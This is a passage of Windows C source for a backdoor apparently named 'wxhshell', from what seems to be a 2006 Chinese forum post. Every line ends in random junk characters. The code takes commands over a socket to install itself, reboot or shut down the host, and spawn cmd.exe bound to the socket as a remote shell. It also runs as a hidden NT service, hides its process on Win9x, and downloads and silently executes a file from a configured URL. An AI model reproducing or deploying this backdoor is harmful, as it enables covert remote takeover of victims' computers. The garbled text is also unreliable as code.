wa ky<w,  
    switch(cmd[0]) { 56{I`QjX  
  3m=2x5 {L  
  // 帮助 ~O03Sit-  
  case '?': { 6Dst;:  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); r~>,$[|n})  
    break; 'N6 S}w7  
  } $r79n-  
  // 安装 /oL8;:m  
  case 'i': { K5`Rk" s  
    if(Install()) Jhy(x1%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HnU Et/  
    else ,@.EpbB  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VLdB_r3lQ  
    break; IzUo0D*@  
    } &{z<kmc$6  
  // 卸载 P^i.La,  
  case 'r': { E\$C/}T  
    if(Uninstall()) S_\ F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2|{V,!/cvG  
    else l r~gG3   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hs(W;tR@W  
    break; ;LMWNy4  
    } c1%rV`)]  
  // 显示 wxhshell 所在路径 _|zBUrN  
  case 'p': { 62\&RRB i  
    char svExeFile[MAX_PATH]; XYfv(y  
    strcpy(svExeFile,"\n\r"); %|+E48  
      strcat(svExeFile,ExeFile); PJ q yvbD  
        send(wsh,svExeFile,strlen(svExeFile),0); W)4QOS&  
    break; ^E,1V5  
    } F,T~\gO5,  
  // 重启 AIZBo@xg  
  case 'b': { M_|> kp  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Y7SacRO  
    if(Boot(REBOOT)) v>m n/a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 33a uho  
    else { e;ty!)]  
    closesocket(wsh); >EP(~G3u  
    ExitThread(0); 4["&O=:d  
    } -JV~[-,  
    break; p]ivf  
    } GEe`ZhG,  
  // 关机 J/W{/E>;  
  case 'd': { RU&_j* U  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _Qd,VE 8u  
    if(Boot(SHUTDOWN)) o6L9UdT   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !')y&7a~  
    else { k;Fh4Hv  
    closesocket(wsh); \40 YGFO  
    ExitThread(0); &.N $  
    } b,<9  
    break; O#_b7i  
    } shgAhx  
  // 获取shell `xz&Scil  
  case 's': { \x+3f  
    CmdShell(wsh); 2]WE({P  
    closesocket(wsh); mT.e>/pa  
    ExitThread(0); +  WDq =S  
    break; [j9E pi(  
  } (^n*Am;zlH  
  // 退出 51xk>_Hm}|  
  case 'x': { #T3 h}=  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 11UB4CA  
    CloseIt(wsh); tIuoD+AW  
    break; n$["z w  
    } %y<]Yzv.  
  // 离开 Ph,- sR  
  case 'q': { 23ze/;6%A  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); f3tv3>p  
    closesocket(wsh); ^g>1U5c  
    WSACleanup(); ~?Omy8#  
    exit(1); <J{'o`{  
    break; I+;-p]~  
        } Tg ?x3?kw  
  } f CcD&<%  
  } aT!;{+  
hOk00az  
  // 提示信息 ,mFsM!|  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R;}22s  
} yR71%]*.  
  } y,Q5; $w8  
AuiFbRFi  
  return; S h4wqf  
} <7sIm^N  
-kj< 1~YW  
// shell模块句柄 b~0N^p[&%  
int CmdShell(SOCKET sock) r)T[(D'Tm-  
{ zO=%J)-=  
STARTUPINFO si; 'vIx#k4D1  
ZeroMemory(&si,sizeof(si)); [=%YV# O  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; C>QIrZu  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; D'[Uc6  
PROCESS_INFORMATION ProcessInfo; pwX C  
char cmdline[]="cmd"; Z)"61) )  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); t+TYb#Tc  
  return 0; @QEqB_W  
} 0pgY1i7  
53OJ-m%a  
// 自身启动模式 V'gw\mcb  
int StartFromService(void) 3f76kl(&  
{ 6][1 <}8  
typedef struct =XY]x  
{ ,^'R_efY  
  DWORD ExitStatus; &h~aChJ  
  DWORD PebBaseAddress; MXvXVhCU  
  DWORD AffinityMask; ;%!m<S|%k  
  DWORD BasePriority; [rY T  
  ULONG UniqueProcessId; YJF#)TkF  
  ULONG InheritedFromUniqueProcessId; `,>wC+}  
}   PROCESS_BASIC_INFORMATION; 1s7^uA$}6  
2k -+^}r  
PROCNTQSIP NtQueryInformationProcess; C!x/ ^gw  
E^Gg '1  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %{5n1w  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; FG-L0X  
@R2at  
  HANDLE             hProcess; H AB#pd9  
  PROCESS_BASIC_INFORMATION pbi; $#NQ <3  
F} DUEDND*  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); eiMH['X5  
  if(NULL == hInst ) return 0; _YHu96H;  
@,H9zrjVFZ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); u5E]t9~Pq  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Rm>^tu -  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); j|(Z#3J  
c6AWn>H  
  if (!NtQueryInformationProcess) return 0; ;?L\Fz(<   
Tupiq  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (Xx n\*S  
  if(!hProcess) return 0; n&XGBwgW  
Qvoqx>2p5  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; g"8 .}1)~r  
-8Ti*:  
  CloseHandle(hProcess); NucM+r1P  
+|RB0}hFS-  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~Gv#iRi>  
if(hProcess==NULL) return 0; \NL+}cL/  
b=PVIZ  
HMODULE hMod; 3sm M,fi  
char procName[255]; -V<t-}h.  
unsigned long cbNeeded; "4xfrlOc  
P9Q2gVGAO{  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6LUC!Sh  
DPHQ,dkp  
  CloseHandle(hProcess); ^>$P)=O:v  
]F*3"y?)2  
if(strstr(procName,"services")) return 1; // 以服务启动 <,%:   
`iG,H[t+j  
  return 0; // 注册表启动 VM=+afY5M  
} oR#:Nt X@  
'\DSTr:N  
// 主模块 @e2}BhB2  
int StartWxhshell(LPSTR lpCmdLine) x^=M6;:  
{ &<x@1,  
  SOCKET wsl; Ukphd$3J=  
BOOL val=TRUE; P&A|PY,P  
  int port=0; pxINw>\Qv  
  struct sockaddr_in door; 30cd| S?  
&XLD S=j  
  if(wscfg.ws_autoins) Install(); 9uB(Mx(-:`  
wsfd8T4  
port=atoi(lpCmdLine); \}]iS C.2  
|QZ 58)>  
if(port<=0) port=wscfg.ws_port; qv{o |g QB  
zsl,,gk9Y  
  WSADATA data; aw $L$7b}  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %:C ]7gQ  
rXi uwz\  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   TCVl8)j  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); E@)\Lc~  
  door.sin_family = AF_INET; C*70;:b  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); dKhA$f~  
  door.sin_port = htons(port); C*6S@4k  
5_o$<\I\  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ./-JbW  
closesocket(wsl); }ynT2a#LU'  
return 1; E8}+k o  
} b!>\2DlyJ  
.w? .ib(  
  if(listen(wsl,2) == INVALID_SOCKET) { s4= "kT]  
closesocket(wsl); 0Fr1Ku!  
return 1; [bQj,PZ&  
} b3qc_  
  Wxhshell(wsl); rnm03 '{  
  WSACleanup(); Wa"(m*hW  
;GHvPQc_  
return 0; "E=j|q  
Pt< s* (  
} V_^@  
~[PKcEX  
// 以NT服务方式启动 m>&HuHf  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~4,I7c7  
{ q!,zq  
DWORD   status = 0; |BU+:+  
  DWORD   specificError = 0xfffffff; K`:=]Z8  
f6=w3RS  
  serviceStatus.dwServiceType     = SERVICE_WIN32; D$e B ,~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; x2VBm$>  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; WgGm#I>K  
  serviceStatus.dwWin32ExitCode     = 0; 7Hw<ojkt  
  serviceStatus.dwServiceSpecificExitCode = 0; }odV_WT  
  serviceStatus.dwCheckPoint       = 0; |01?w|  
  serviceStatus.dwWaitHint       = 0; bMoAD.}  
pb;")Q'  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (zo^Nn9VJ  
  if (hServiceStatusHandle==0) return; b B  
do/)~9[4\  
status = GetLastError(); I=DLPgzO9  
  if (status!=NO_ERROR) |PVt}*0"  
{ M@UVpQwgv  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; l0]d  
    serviceStatus.dwCheckPoint       = 0; ;."<m   
    serviceStatus.dwWaitHint       = 0; WT3gNNx|  
    serviceStatus.dwWin32ExitCode     = status; ),^eA  
    serviceStatus.dwServiceSpecificExitCode = specificError; 6iezLG 5  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;-mdi/*g  
    return; 1'w:`/_  
  } yWIm&Q:  
eOl KbJU  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; |?m` xO  
  serviceStatus.dwCheckPoint       = 0; tV;% J4E'  
  serviceStatus.dwWaitHint       = 0; /ONV5IkPy  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :Waox"#=g  
} "&YYO#YO  
8|1^|B(l  
// 处理NT服务事件,比如:启动、停止 Eh8Pwt7C@  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 2h~-  
{ f?fKhu2  
switch(fdwControl) .q`{Dgc~  
{ #G^A-yjn  
case SERVICE_CONTROL_STOP: B~WtZ-%%E  
  serviceStatus.dwWin32ExitCode = 0; Dma.r  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; `\$8`Zb;  
  serviceStatus.dwCheckPoint   = 0; pNaiXu3  
  serviceStatus.dwWaitHint     = 0; %"3 )TN4  
  { ~.tvrx g  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `d]Z)*9  
  } \y Hen|%  
  return; Q%=YM4;  
case SERVICE_CONTROL_PAUSE: X!,@ j\L  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; P~CrtTss  
  break; pJpNO$$w  
case SERVICE_CONTROL_CONTINUE: Gy29MUF  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; $r.U  
  break; [2Mbk~  
case SERVICE_CONTROL_INTERROGATE: 1hQN8!:<  
  break; oW}!vf3z  
}; [W,|kDK  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); GUp;AoQ  
} H ZJL/=;  
=C7 khE  
// 标准应用程序主函数 pgc3jP!  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) U5ZX78>a  
{ qc-,+sn(  
5fjd{Y[k  
// 获取操作系统版本 !|{IVm/J  
OsIsNt=GetOsVer(); z5cYyx r>  
GetModuleFileName(NULL,ExeFile,MAX_PATH); &k>aP0k"  
`$;+g ,  
  // 从命令行安装 w_-+o^  
  if(strpbrk(lpCmdLine,"iI")) Install(); 1TJ0D_,  
s&PM,BFf  
  // 下载执行文件 xp \S2@<  
if(wscfg.ws_downexe) { u</8w&!  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) I+?hG6NM  
  WinExec(wscfg.ws_filenam,SW_HIDE); rs8\)\z  
} qk{'!Ii  
%HuyK  
if(!OsIsNt) { f4t.f*#  
// 如果时win9x,隐藏进程并且设置为注册表启动 Un=a fX?j  
HideProc(); .-I|DVHe  
StartWxhshell(lpCmdLine); Q s(Bnb;  
} y=N"=Z  
else Q4'C;<\@(Q  
  if(StartFromService()) dDcZ!rRaL@  
  // 以服务方式启动 =yi OJyx  
  StartServiceCtrlDispatcher(DispatchTable); %CH6lY=lI  
else ]?l{j  
  // 普通方式启动 O12Q8Oj!0  
  StartWxhshell(lpCmdLine); @"87F{!  
*YV S|6bs  
return 0; 4cgIEw[6  
}
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只看该作者 1 发表于: 2006-10-10
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